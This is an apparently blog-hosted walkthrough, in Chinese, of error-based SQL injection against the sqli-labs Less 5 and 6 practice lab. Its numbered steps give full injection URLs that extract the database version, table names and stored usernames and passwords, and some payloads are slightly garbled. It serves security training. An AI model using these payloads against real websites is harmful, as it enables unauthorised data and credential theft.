13、报错注入(Get)

简介: 13、报错注入(Get)

环境sqli-labs

less 5

1、我们随便输入’,看到报错信息

0a2653c851af460fa595bd959398a8f1.png

可以判断,需要单引号闭合

2、构造查询获取数据库名称语句

http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a --+

0eacb84100b54626af849e6b562bf92a.png

3、获取表名语句

http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(),concat((select concat(table_name,0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a --+

2d65d23f6d4748949b924e4057485923.png

4、获取用户信息

http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a)from security.users limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a --+

2e9b90b2ca334476abebe75bafe6eeaa.png

less 6

双引号闭合,和上面方法相同

禁止非法,后果自负

目录
相关文章
|
15小时前
|
XML 安全 数据库
24、显错注入(updatexml和extractvalue)
24、显错注入(updatexml和extractvalue)
28 0
|
15小时前
|
Java 开发者 Spring
Spring中获取Bean对象的三种注入方式和两种注入方法
Spring中获取Bean对象的三种注入方式和两种注入方法
|
15小时前
|
数据库
报错注入
报错注入
13 1
|
15小时前
|
数据库
13、报错注入(Get)
13、报错注入(Get)
15 0
|
15小时前
|
SQL 关系型数据库 MySQL
注入工具 -- sqlmap(注入参数)
注入工具 -- sqlmap(注入参数)
53 0
|
15小时前
|
关系型数据库 MySQL
Mysql注入 -- 注入类型
Mysql注入 -- 注入类型
17 1
|
15小时前
|
安全 关系型数据库 MySQL
Mysql注入 -- 报错注入
Mysql注入 -- 报错注入
14 0
|
9月前
|
XML Java 数据格式
案例03 基于xml配置的setter方法注入案例
通过setter方法方式来演示Spring容器在应用中是如何实现依赖注入的,实现StudentService调用StudentDao的saveStudent操作。
51 0
|
12月前
|
存储 SQL 网络协议
利用DNSLog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入
363 0
|
XML Java 数据格式
SpringXML实现注入
SpringXML实现注入
SpringXML实现注入